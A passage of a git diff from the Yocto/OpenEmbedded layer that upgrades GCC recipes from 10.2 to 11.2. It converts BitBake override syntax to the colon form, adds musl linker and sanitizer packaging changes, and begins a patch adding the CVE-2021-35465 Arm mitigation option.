+ r'\1' + wrap_libdir(libdir32) + r'\3'),
(r'^(#define\s*GLIBC_DYNAMIC_LINKERX32\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdirx32) + r'\3'),
(r'^(#define\s*GLIBC_DYNAMIC_LINKERN32\s*)(\S+)(\s*\".*\")$',
@@ -112,8 +116,18 @@ python gcc_multilib_setup() {
r'\1' + wrap_libdir(libdir64) + r'\3'),
(r'^(#define\s*UCLIBC_DYNAMIC_LINKERN32\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdirn32) + r'\3'),
+ (r'^(#define\s*UCLIBC_DYNAMIC_LINKERX32\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdirx32) + r'\3'),
(r'^(#define\s*UCLIBC_DYNAMIC_LINKER\b\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdir32) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKER32\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir32) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKER64\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir64) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKERX32\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdirx32) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKER\b\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir32) + r'\3'),
]
for (i, line) in enumerate(filelines):
@@ -138,15 +152,15 @@ python gcc_multilib_setup() {
}
gcc_header_config_files = {
- 'x86_64' : ['gcc/config/i386/linux64.h'],
- 'i586' : ['gcc/config/i386/linux64.h'],
- 'i686' : ['gcc/config/i386/linux64.h'],
- 'mips' : ['gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
- 'mips64' : ['gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
- 'powerpc' : ['gcc/config/rs6000/linux64.h'],
- 'powerpc64' : ['gcc/config/rs6000/linux64.h'],
- 'aarch64' : ['gcc/config/aarch64/aarch64.h'],
- 'arm' : ['gcc/config/aarch64/aarch64.h'],
+ 'x86_64' : ['gcc/config/linux.h', 'gcc/config/i386/linux.h', 'gcc/config/i386/linux64.h'],
+ 'i586' : ['gcc/config/linux.h', 'gcc/config/i386/linux.h', 'gcc/config/i386/linux64.h'],
+ 'i686' : ['gcc/config/linux.h', 'gcc/config/i386/linux64.h'],
+ 'mips' : ['gcc/config/linux.h', 'gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
+ 'mips64' : ['gcc/config/linux.h', 'gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
+ 'powerpc' : ['gcc/config/linux.h', 'gcc/config/rs6000/linux64.h'],
+ 'powerpc64' : ['gcc/config/linux.h', 'gcc/config/rs6000/linux64.h'],
+ 'aarch64' : ['gcc/config/linux.h', 'gcc/config/aarch64/aarch64-linux.h', 'gcc/config/arm/linux-eabi.h'],
+ 'arm' : ['gcc/config/linux.h', 'gcc/config/aarch64/aarch64-linux.h', 'gcc/config/arm/linux-eabi.h'],
}
libdir32 = 'SYSTEMLIBS_DIR'
@@ -170,7 +184,7 @@ python gcc_multilib_setup() {
header_config_files = gcc_header_config_files[target_arch]
ml_list = ['DEFAULTTUNE_MULTILIB_ORIGINAL' if mlprefix else 'DEFAULTTUNE']
- mltunes = [('DEFAULTTUNE_virtclass-multilib-%s' % ml) for ml in multilibs]
+ mltunes = [('DEFAULTTUNE:virtclass-multilib-%s' % ml) for ml in multilibs]
if mlprefix:
mlindex = 0
for ml in multilibs:
diff --git a/meta/recipes-devtools/gcc/gcc-runtime.inc b/meta/recipes-devtools/gcc/gcc-runtime.inc
index 9dcce26536..4839a6687a 100644
--- a/meta/recipes-devtools/gcc/gcc-runtime.inc
+++ b/meta/recipes-devtools/gcc/gcc-runtime.inc
@@ -6,7 +6,7 @@ SUMMARY = "Runtime libraries from GCC"
# All gcc-runtime packages are now covered by the runtime exception.
LICENSE = "GPL-3.0-with-GCC-exception"
-CXXFLAGS_remove = "-fvisibility-inlines-hidden"
+CXXFLAGS:remove = "-fvisibility-inlines-hidden"
EXTRA_OECONF_PATHS = "\
--with-gxx-include-dir=${includedir}/c++/${BINV} \
@@ -14,51 +14,53 @@ EXTRA_OECONF_PATHS = "\
--with-build-sysroot=${STAGING_DIR_TARGET} \
"
-EXTRA_OECONF_append_linuxstdbase = " --enable-clocale=gnu"
-EXTRA_OECONF_append = " --cache-file=${B}/config.cache"
-EXTRA_OECONF_append_libc-newlib = " --with-newlib"
+EXTRA_OECONF:append:linuxstdbase = " --enable-clocale=gnu"
+EXTRA_OECONF:append = " --cache-file=${B}/config.cache"
+EXTRA_OECONF:append:libc-newlib = " --with-newlib"
# Disable ifuncs for libatomic on arm conflicts -march/-mcpu
-EXTRA_OECONF_append_arm = " libat_cv_have_ifunc=no "
-EXTRA_OECONF_append_armeb = " libat_cv_have_ifunc=no "
+EXTRA_OECONF:append:arm = " libat_cv_have_ifunc=no "
+EXTRA_OECONF:append:armeb = " libat_cv_have_ifunc=no "
-DISABLE_STATIC_class-nativesdk ?= ""
+DISABLE_STATIC:class-nativesdk ?= ""
# Newlib does not support symbol versioning on libsdtcc++
-SYMVERS_CONF_libc-newlib = ""
+SYMVERS_CONF:libc-newlib = ""
# Building with thumb enabled on armv6t fails
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
RUNTIMELIBITM = "libitm"
-RUNTIMELIBITM_arc = ""
-RUNTIMELIBITM_mipsarch = ""
-RUNTIMELIBITM_nios2 = ""
-RUNTIMELIBITM_microblaze = ""
-RUNTIMELIBITM_riscv32 = ""
-RUNTIMELIBITM_riscv64 = ""
+RUNTIMELIBITM:arc = ""
+RUNTIMELIBITM:mipsarch = ""
+RUNTIMELIBITM:nios2 = ""
+RUNTIMELIBITM:microblaze = ""
+RUNTIMELIBITM:riscv32 = ""
+RUNTIMELIBITM:riscv64 = ""
RUNTIMELIBSSP ?= ""
-RUNTIMELIBSSP_mingw32 ?= "libssp"
+RUNTIMELIBSSP:mingw32 ?= "libssp"
RUNTIMETARGET = "${RUNTIMELIBSSP} libstdc++-v3 libgomp libatomic ${RUNTIMELIBITM} \
${@bb.utils.contains_any('FORTRAN', [',fortran',',f77'], 'libquadmath', '', d)} \
"
# Only build libstdc++ for newlib
-RUNTIMETARGET_libc-newlib = "libstdc++-v3"
+RUNTIMETARGET:libc-newlib = "libstdc++-v3"
# libiberty
# libgfortran needs separate recipe due to libquadmath dependency
-SLIB = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${PV}"
-SLIB_NEW = "/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+# Relative path to be repaced into debug info
+REL_S = "/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
-DEBUG_PREFIX_MAP_class-target = " \
+DEBUG_PREFIX_MAP:class-target = " \
-fdebug-prefix-map=${WORKDIR}/recipe-sysroot= \
-fdebug-prefix-map=${WORKDIR}/recipe-sysroot-native= \
- -fdebug-prefix-map=${SLIB}=${SLIB_NEW} \
- -fdebug-prefix-map=${SLIB}/include=${SLIB_NEW}/libstdc++-v3/../include \
- -fdebug-prefix-map=${SLIB}/libiberty=${SLIB_NEW}/libstdc++-v3/../libiberty \
- -fdebug-prefix-map=${B}=${SLIB_NEW} \
+ -fdebug-prefix-map=${S}=${REL_S} \
+ -fdebug-prefix-map=${S}/include=${REL_S}/libstdc++-v3/../include \
+ -fdebug-prefix-map=${S}/libiberty=${REL_S}/libstdc++-v3/../libiberty \
+ -fdebug-prefix-map=${S}/libgcc=${REL_S}/libstdc++-v3/../libgcc \
+ -fdebug-prefix-map=${B}=${REL_S} \
+ -ffile-prefix-map=${B}/${HOST_SYS}/libstdc++-v3/include=${includedir}/c++/${BINV} \
"
do_configure () {
@@ -107,7 +109,7 @@ do_install () {
fi
}
-do_install_append_class-target () {
+do_install:append:class-target () {
if [ "${TARGET_OS}" = "linux-gnuspe" ]; then
ln -s ${TARGET_SYS} ${D}${includedir}/c++/${BINV}/${TARGET_ARCH}${TARGET_VENDOR}-linux
fi
@@ -184,67 +186,67 @@ PACKAGES = "\
libitm-staticdev \
"
# The base package doesn't exist, so we clear the recommends.
-RRECOMMENDS_${PN}-dbg = ""
+RRECOMMENDS:${PN}-dbg = ""
# include python debugging scripts
-FILES_${PN}-dbg += "\
+FILES:${PN}-dbg += "\
${libdir}/libstdc++.*-gdb.py \
${datadir}/gcc-${BINV}/python/libstdcxx \
"
-FILES_libg2c = "${target_libdir}/libg2c.so.*"
-SUMMARY_libg2c = "Companion runtime library for g77"
-FILES_libg2c-dev = "\
+FILES:libg2c = "${target_libdir}/libg2c.so.*"
+SUMMARY:libg2c = "Companion runtime library for g77"
+FILES:libg2c-dev = "\
${libdir}/libg2c.so \
${libdir}/libg2c.a \
${libdir}/libfrtbegin.a \
"
-SUMMARY_libg2c-dev = "Companion runtime library for g77 - development files"
+SUMMARY:libg2c-dev = "Companion runtime library for g77 - development files"
-FILES_libstdc++ = "${libdir}/libstdc++.so.*"
-SUMMARY_libstdc++ = "GNU standard C++ library"
-FILES_libstdc++-dev = "\
+FILES:libstdc++ = "${libdir}/libstdc++.so.*"
+SUMMARY:libstdc++ = "GNU standard C++ library"
+FILES:libstdc++-dev = "\
${includedir}/c++/ \
${libdir}/libstdc++.so \
${libdir}/libstdc++*.la \
${libdir}/libsupc++.la \
"
-SUMMARY_libstdc++-dev = "GNU standard C++ library - development files"
-FILES_libstdc++-staticdev = "\
+SUMMARY:libstdc++-dev = "GNU standard C++ library - development files"
+FILES:libstdc++-staticdev = "\
${libdir}/libstdc++*.a \
${libdir}/libsupc++.a \
"
-SUMMARY_libstdc++-staticdev = "GNU standard C++ library - static development files"
+SUMMARY:libstdc++-staticdev = "GNU standard C++ library - static development files"
-FILES_libstdc++-precompile-dev = "${includedir}/c++/${TARGET_SYS}/bits/*.gch"
-SUMMARY_libstdc++-precompile-dev = "GNU standard C++ library - precompiled header files"
+FILES:libstdc++-precompile-dev = "${includedir}/c++/${TARGET_SYS}/bits/*.gch"
+SUMMARY:libstdc++-precompile-dev = "GNU standard C++ library - precompiled header files"
-FILES_libssp = "${libdir}/libssp.so.*"
-SUMMARY_libssp = "GNU stack smashing protection library"
-FILES_libssp-dev = "\
+FILES:libssp = "${libdir}/libssp.so.*"
+SUMMARY:libssp = "GNU stack smashing protection library"
+FILES:libssp-dev = "\
${libdir}/libssp*.so \
${libdir}/libssp*_nonshared.a \
${libdir}/libssp*.la \
${libdir}/${TARGET_SYS}/${BINV}/include/ssp \
"
-SUMMARY_libssp-dev = "GNU stack smashing protection library - development files"
-FILES_libssp-staticdev = "${libdir}/libssp*.a"
-SUMMARY_libssp-staticdev = "GNU stack smashing protection library - static development files"
+SUMMARY:libssp-dev = "GNU stack smashing protection library - development files"
+FILES:libssp-staticdev = "${libdir}/libssp*.a"
+SUMMARY:libssp-staticdev = "GNU stack smashing protection library - static development files"
-FILES_libquadmath = "${libdir}/libquadmath*.so.*"
-SUMMARY_libquadmath = "GNU quad-precision math library"
-FILES_libquadmath-dev = "\
+FILES:libquadmath = "${libdir}/libquadmath*.so.*"
+SUMMARY:libquadmath = "GNU quad-precision math library"
+FILES:libquadmath-dev = "\
${libdir}/${TARGET_SYS}/${BINV}/include/quadmath* \
${libdir}/libquadmath*.so \
${libdir}/libquadmath.la \
"
-SUMMARY_libquadmath-dev = "GNU quad-precision math library - development files"
-FILES_libquadmath-staticdev = "${libdir}/libquadmath.a"
-SUMMARY_libquadmath-staticdev = "GNU quad-precision math library - static development files"
+SUMMARY:libquadmath-dev = "GNU quad-precision math library - development files"
+FILES:libquadmath-staticdev = "${libdir}/libquadmath.a"
+SUMMARY:libquadmath-staticdev = "GNU quad-precision math library - static development files"
-FILES_libgomp = "${libdir}/libgomp*${SOLIBS}"
-SUMMARY_libgomp = "GNU OpenMP parallel programming library"
-FILES_libgomp-dev = "\
+FILES:libgomp = "${libdir}/libgomp*${SOLIBS}"
+SUMMARY:libgomp = "GNU OpenMP parallel programming library"
+FILES:libgomp-dev = "\
${libdir}/libgomp*${SOLIBSDEV} \
${libdir}/libgomp*.la \
${libdir}/libgomp.spec \
@@ -252,34 +254,34 @@ FILES_libgomp-dev = "\
${libdir}/${TARGET_SYS}/${BINV}/include/omp.h \
${libdir}/${TARGET_SYS}/${BINV}/include/openacc.h \
"
-SUMMARY_libgomp-dev = "GNU OpenMP parallel programming library - development files"
-FILES_libgomp-staticdev = "${libdir}/libgomp*.a"
-SUMMARY_libgomp-staticdev = "GNU OpenMP parallel programming library - static development files"
+SUMMARY:libgomp-dev = "GNU OpenMP parallel programming library - development files"
+FILES:libgomp-staticdev = "${libdir}/libgomp*.a"
+SUMMARY:libgomp-staticdev = "GNU OpenMP parallel programming library - static development files"
-FILES_libatomic = "${libdir}/libatomic.so.*"
-SUMMARY_libatomic = "GNU C++11 atomics support library"
-FILES_libatomic-dev = "\
+FILES:libatomic = "${libdir}/libatomic.so.*"
+SUMMARY:libatomic = "GNU C++11 atomics support library"
+FILES:libatomic-dev = "\
${libdir}/libatomic.so \
${libdir}/libatomic.la \
"
-SUMMARY_libatomic-dev = "GNU C++11 atomics support library - development files"
-FILES_libatomic-staticdev = "${libdir}/libatomic.a"
-SUMMARY_libatomic-staticdev = "GNU C++11 atomics support library - static development files"
+SUMMARY:libatomic-dev = "GNU C++11 atomics support library - development files"
+FILES:libatomic-staticdev = "${libdir}/libatomic.a"
+SUMMARY:libatomic-staticdev = "GNU C++11 atomics support library - static development files"
-FILES_libitm = "${libdir}/libitm.so.*"
-SUMMARY_libitm = "GNU transactional memory support library"
-FILES_libitm-dev = "\
+FILES:libitm = "${libdir}/libitm.so.*"
+SUMMARY:libitm = "GNU transactional memory support library"
+FILES:libitm-dev = "\
${libdir}/libitm.so \
${libdir}/libitm.la \
${libdir}/libitm.spec \
"
-SUMMARY_libitm-dev = "GNU transactional memory support library - development files"
-FILES_libitm-staticdev = "${libdir}/libitm.a"
-SUMMARY_libitm-staticdev = "GNU transactional memory support library - static development files"
+SUMMARY:libitm-dev = "GNU transactional memory support library - development files"
+FILES:libitm-staticdev = "${libdir}/libitm.a"
+SUMMARY:libitm-staticdev = "GNU transactional memory support library - static development files"
require gcc-testsuite.inc
-EXTRA_OEMAKE_prepend_task-check = "${PARALLEL_MAKE} "
+EXTRA_OEMAKE:prepend:task-check = "${PARALLEL_MAKE} "
MAKE_CHECK_TARGETS ??= "check-gcc ${@" ".join("check-target-" + i for i in d.getVar("RUNTIMETARGET").split())}"
# prettyprinters and xmethods require gdb tooling
diff --git a/meta/recipes-devtools/gcc/gcc-runtime_10.2.bb b/meta/recipes-devtools/gcc/gcc-runtime_11.2.bb
index dd430b57eb..dd430b57eb 100644
--- a/meta/recipes-devtools/gcc/gcc-runtime_10.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-runtime_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-sanitizers.inc b/meta/recipes-devtools/gcc/gcc-sanitizers.inc
index 668e14a59f..9881afa837 100644
--- a/meta/recipes-devtools/gcc/gcc-sanitizers.inc
+++ b/meta/recipes-devtools/gcc/gcc-sanitizers.inc
@@ -35,6 +35,11 @@ do_compile () {
do_install () {
cd ${B}/${TARGET_SYS}/libsanitizer/
oe_runmake 'DESTDIR=${D}' MULTIBUILDTOP=${B}/${TARGET_SYS}/libsanitizer/ install
+ if [ -d ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include ]; then
+ install -d ${D}${libdir}/${TARGET_SYS}/${BINV}/include
+ mv ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/* ${D}${libdir}/${TARGET_SYS}/${BINV}/include
+ rmdir --ignore-fail-on-non-empty -p ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include
+ fi
if [ -d ${D}${infodir} ]; then
rmdir --ignore-fail-on-non-empty -p ${D}${infodir}
fi
@@ -42,11 +47,11 @@ do_install () {
}
INHIBIT_DEFAULT_DEPS = "1"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
DEPENDS = "virtual/crypt gcc-runtime virtual/${TARGET_PREFIX}gcc"
# used to fix ../../../../../../../../../work-shared/gcc-8.3.0-r0/gcc-8.3.0/libsanitizer/libbacktrace/../../libbacktrace/elf.c:772:21: error: 'st.st_mode' may be used uninitialized in this function [-Werror=maybe-uninitialized]
-DEBUG_OPTIMIZATION_append = " -Wno-error"
+DEBUG_OPTIMIZATION:append = " -Wno-error"
BBCLASSEXTEND = "nativesdk"
@@ -55,19 +60,19 @@ PACKAGES += "libasan libubsan liblsan libtsan"
PACKAGES += "libasan-dev libubsan-dev liblsan-dev libtsan-dev"
PACKAGES += "libasan-staticdev libubsan-staticdev liblsan-staticdev libtsan-staticdev"
-RDEPENDS_libasan += "libstdc++"
-RDEPENDS_libubsan += "libstdc++"
-RDEPENDS_liblsan += "libstdc++"
-RDEPENDS_libtsan += "libstdc++"
-RDEPENDS_libasan-dev += "${PN}"
-RDEPENDS_libubsan-dev += "${PN}"
-RDEPENDS_liblsan-dev += "${PN}"
-RDEPENDS_libtsan-dev += "${PN}"
-RRECOMMENDS_${PN} += "libasan libubsan"
-RRECOMMENDS_${PN}_append_x86 = " liblsan"
-RRECOMMENDS_${PN}_append_x86-64 = " liblsan libtsan"
-RRECOMMENDS_${PN}_append_powerpc64 = " liblsan libtsan"
-RRECOMMENDS_${PN}_append_aarch64 = " liblsan libtsan"
+RDEPENDS:libasan += "libstdc++"
+RDEPENDS:libubsan += "libstdc++"
+RDEPENDS:liblsan += "libstdc++"
+RDEPENDS:libtsan += "libstdc++"
+RDEPENDS:libasan-dev += "${PN}"
+RDEPENDS:libubsan-dev += "${PN}"
+RDEPENDS:liblsan-dev += "${PN}"
+RDEPENDS:libtsan-dev += "${PN}"
+RRECOMMENDS:${PN} += "libasan libubsan"
+RRECOMMENDS:${PN}:append:x86 = " liblsan"
+RRECOMMENDS:${PN}:append:x86-64 = " liblsan libtsan"
+RRECOMMENDS:${PN}:append:powerpc64 = " liblsan libtsan"
+RRECOMMENDS:${PN}:append:aarch64 = " liblsan libtsan"
do_package_write_ipk[depends] += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs:do_packagedata"
do_package_write_deb[depends] += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs:do_packagedata"
@@ -76,37 +81,40 @@ do_package_write_rpm[depends] += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlib
# Only x86, powerpc, sparc, s390, arm, and aarch64 are supported
COMPATIBLE_HOST = '(x86_64|i.86|powerpc|sparc|s390|arm|aarch64).*-linux'
# musl is currently broken entirely
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
-FILES_libasan += "${libdir}/libasan.so.*"
-FILES_libasan-dev += "\
+FILES:libasan += "${libdir}/libasan.so.* ${libdir}/libhwasan.so.*"
+FILES:libasan-dev += "\
${libdir}/libasan_preinit.o \
${libdir}/libasan.so \
+ ${libdir}/libhwasan.so \
${libdir}/libasan.la \
"
-FILES_libasan-staticdev += "${libdir}/libasan.a"
+FILES:libasan-staticdev += "${libdir}/libasan.a \
+ ${libdir}/libhwasan.a \
+"
-FILES_libubsan += "${libdir}/libubsan.so.*"
-FILES_libubsan-dev += "\
+FILES:libubsan += "${libdir}/libubsan.so.*"
+FILES:libubsan-dev += "\
${libdir}/libubsan.so \
${libdir}/libubsan.la \
"
-FILES_libubsan-staticdev += "${libdir}/libubsan.a"
+FILES:libubsan-staticdev += "${libdir}/libubsan.a"
-FILES_liblsan += "${libdir}/liblsan.so.*"
-FILES_liblsan-dev += "\
+FILES:liblsan += "${libdir}/liblsan.so.*"
+FILES:liblsan-dev += "\
${libdir}/liblsan.so \
${libdir}/liblsan.la \
${libdir}/liblsan_preinit.o \
"
-FILES_liblsan-staticdev += "${libdir}/liblsan.a"
+FILES:liblsan-staticdev += "${libdir}/liblsan.a"
-FILES_libtsan += "${libdir}/libtsan.so.*"
-FILES_libtsan-dev += "\
+FILES:libtsan += "${libdir}/libtsan.so.*"
+FILES:libtsan-dev += "\
${libdir}/libtsan.so \
${libdir}/libtsan.la \
${libdir}/libtsan_*.o \
"
-FILES_libtsan-staticdev += "${libdir}/libtsan.a"
+FILES:libtsan-staticdev += "${libdir}/libtsan.a"
-FILES_${PN} = "${libdir}/*.spec ${libdir}/gcc/${TARGET_SYS}/${BINV}/include/sanitizer/*.h"
+FILES:${PN} = "${libdir}/*.spec ${libdir}/${TARGET_SYS}/${BINV}/include/sanitizer/*.h"
diff --git a/meta/recipes-devtools/gcc/gcc-sanitizers_10.2.bb b/meta/recipes-devtools/gcc/gcc-sanitizers_10.2.bb
deleted file mode 100644
index f3c7058114..0000000000
--- a/meta/recipes-devtools/gcc/gcc-sanitizers_10.2.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require gcc-sanitizers.inc
-
-# Building with thumb enabled on armv4t armv5t fails with
-# sanitizer_linux.s:5749: Error: lo register required -- `ldr ip,[sp],#8'
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
diff --git a/meta/recipes-devtools/gcc/gcc-sanitizers_11.2.bb b/meta/recipes-devtools/gcc/gcc-sanitizers_11.2.bb
new file mode 100644
index 0000000000..8bda2ccad6
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc-sanitizers_11.2.bb
@@ -0,0 +1,7 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require gcc-sanitizers.inc
+
+# Building with thumb enabled on armv4t armv5t fails with
+# sanitizer_linux.s:5749: Error: lo register required -- `ldr ip,[sp],#8'
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
diff --git a/meta/recipes-devtools/gcc/gcc-source_10.2.bb b/meta/recipes-devtools/gcc/gcc-source_11.2.bb
index b890fa33ea..b890fa33ea 100644
--- a/meta/recipes-devtools/gcc/gcc-source_10.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-source_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-target.inc b/meta/recipes-devtools/gcc/gcc-target.inc
index 1e25dad86b..bf55e692e6 100644
--- a/meta/recipes-devtools/gcc/gcc-target.inc
+++ b/meta/recipes-devtools/gcc/gcc-target.inc
@@ -5,7 +5,7 @@ EXTRA_OECONF_PATHS = "\
--with-build-sysroot=${STAGING_DIR_TARGET} \
"
-EXTRA_OECONF_append_linuxstdbase = " --enable-clocale=gnu"
+EXTRA_OECONF:append:linuxstdbase = " --enable-clocale=gnu"
# Configure gcc running on the target to default to an architecture which will
# be compatible with that of gcc-runtime (which is cross compiled to be target
@@ -15,11 +15,11 @@ EXTRA_OECONF_append_linuxstdbase = " --enable-clocale=gnu"
ARMFPARCHEXT ?= ""
-EXTRA_OECONF_append_armv6_class-target = " --with-arch=armv6${ARMFPARCHEXT}"
-EXTRA_OECONF_append_armv7a_class-target = " --with-arch=armv7-a${ARMFPARCHEXT}"
-EXTRA_OECONF_append_armv7ve_class-target = " --with-arch=armv7ve${ARMFPARCHEXT}"
-EXTRA_OECONF_append_arc_class-target = " --with-cpu=${TUNE_PKGARCH}"
-EXTRA_OECONF_append_x86-64_class-target = " --with-arch=native"
+EXTRA_OECONF:append:armv6:class-target = " --with-arch=armv6${ARMFPARCHEXT}"
+EXTRA_OECONF:append:armv7a:class-target = " --with-arch=armv7-a${ARMFPARCHEXT}"
+EXTRA_OECONF:append:armv7ve:class-target = " --with-arch=armv7ve${ARMFPARCHEXT}"
+EXTRA_OECONF:append:arc:class-target = " --with-cpu=${TUNE_PKGARCH}"
+EXTRA_OECONF:append:x86-64:class-target = " --with-arch=native"
# libcc1 requres gcc_cv_objdump when cross build, but gcc_cv_objdump is
# set in subdir gcc, so subdir libcc1 can't use it, export it here to
@@ -40,11 +40,12 @@ PACKAGES = "\
${PN}-dbg \
"
-FILES_${PN} = "\
+FILES:${PN} = "\
${bindir}/${TARGET_PREFIX}gcc* \
${bindir}/${TARGET_PREFIX}lto* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/collect2* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/cc1plus \
+ ${libexecdir}/gcc/${TARGET_SYS}/${BINV}/g++-mapper-server \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/lto* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/lib*${SOLIBS} \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/liblto*${SOLIBSDEV} \
@@ -53,86 +54,87 @@ FILES_${PN} = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/lib*${SOLIBS} \
${gcclibdir}/${TARGET_SYS}/${BINV}/include \
${gcclibdir}/${TARGET_SYS}/${BINV}/include-fixed \
+ ${libdir}/bfd-plugins/*.so \
"
-INSANE_SKIP_${PN} += "dev-so"
-RRECOMMENDS_${PN} += "\
+INSANE_SKIP:${PN} += "dev-so"
+RRECOMMENDS:${PN} += "\
libssp \
libssp-dev \
"
-RDEPENDS_${PN} += "cpp"
+RDEPENDS:${PN} += "cpp"
-FILES_${PN}-dev = "\
+FILES:${PN}-dev = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/lib*${SOLIBSDEV} \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/lib*${SOLIBSDEV} \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/include/ \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/plugin/gengtype \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/gtype.state \
"
-FILES_${PN}-symlinks = "\
+FILES:${PN}-symlinks = "\
${bindir}/cc \
${bindir}/gcc \
${bindir}/gccbug \
"
-FILES_${PN}-plugins = "\
+FILES:${PN}-plugins = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin \
"
-ALLOW_EMPTY_${PN}-plugins = "1"
+ALLOW_EMPTY:${PN}-plugins = "1"
-FILES_g77 = "\
+FILES:g77 = "\
${bindir}/${TARGET_PREFIX}g77 \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/f771 \
"
-FILES_g77-symlinks = "\
+FILES:g77-symlinks = "\
${bindir}/g77 \
${bindir}/f77 \
"
-RRECOMMENDS_g77 = "\
+RRECOMMENDS:g77 = "\
libg2c \
libg2c-dev \
"
-FILES_gfortran = "\
+FILES:gfortran = "\
${bindir}/${TARGET_PREFIX}gfortran \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/f951 \
"
-RRECOMMENDS_gfortran = "\
+RRECOMMENDS:gfortran = "\
libquadmath \
libquadmath-dev \
"
-FILES_gfortran-symlinks = "\
+FILES:gfortran-symlinks = "\
${bindir}/gfortran \
${bindir}/f95"
-FILES_cpp = "\
+FILES:cpp = "\
${bindir}/${TARGET_PREFIX}cpp* \
${base_libdir}/cpp \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/cc1"
-FILES_cpp-symlinks = "${bindir}/cpp"
+FILES:cpp-symlinks = "${bindir}/cpp"
-FILES_gcov = "${bindir}/${TARGET_PREFIX}gcov* \
+FILES:gcov = "${bindir}/${TARGET_PREFIX}gcov* \
${bindir}/${TARGET_PREFIX}gcov-tool* \
"
-FILES_gcov-symlinks = "${bindir}/gcov \
+FILES:gcov-symlinks = "${bindir}/gcov \
${bindir}/gcov-tool \
"
-FILES_g++ = "\
+FILES:g++ = "\
${bindir}/${TARGET_PREFIX}g++* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/cc1plus \
"
-FILES_g++-symlinks = "\
+FILES:g++-symlinks = "\
${bindir}/c++ \
${bindir}/g++ \
"
-RRECOMMENDS_g++ = "\
+RRECOMMENDS:g++ = "\
libstdc++ \
libstdc++-dev \
libatomic \
libatomic-dev \
"
-FILES_${PN}-doc = "\
+FILES:${PN}-doc = "\
${infodir} \
${mandir} \
${gcclibdir}/${TARGET_SYS}/${BINV}/include/README \
@@ -214,11 +216,12 @@ do_install () {
ln -sf ${bindir}/${TARGET_PREFIX}cpp ${D}${base_libdir}/cpp
ln -sf g++ c++
ln -sf gcc cc
-
+ install -d ${D}${libdir}/bfd-plugins
+ ln -sf ${libexecdir}/gcc/${TARGET_SYS}/${BINV}/liblto_plugin.so ${D}${libdir}/bfd-plugins/liblto_plugin.so
chown -R root:root ${D}
}
-do_install_append () {
+do_install:append () {
#
# Thefixinc.sh script, run on the gcc's compile phase, looks into sysroot header
# files and places the modified files into
diff --git a/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-35465.patch b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-35465.patch
new file mode 100644
index 0000000000..e4aee10e37
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-35465.patch
@@ -0,0 +1,138 @@
+From 3929bca9ca95de9d35e82ae8828b188029e3eb70 Mon Sep 17 00:00:00 2001
+From: Richard Earnshaw <rearnsha@arm.com>
+Date: Fri, 11 Jun 2021 16:02:05 +0100
+Subject: [PATCH] arm: Add command-line option for enabling CVE-2021-35465
+ mitigation [PR102035]
+
+Add a new option, -mfix-cmse-cve-2021-35465 and document it. Enable it
+automatically for cortex-m33, cortex-m35p and cortex-m55.
+
+gcc:
+ PR target/102035
+ * config/arm/arm.opt (mfix-cmse-cve-2021-35465): New option.
+ * doc/invoke.texi (Arm Options): Document it.
+ * config/arm/arm-cpus.in (quirk_vlldm): New feature bit.
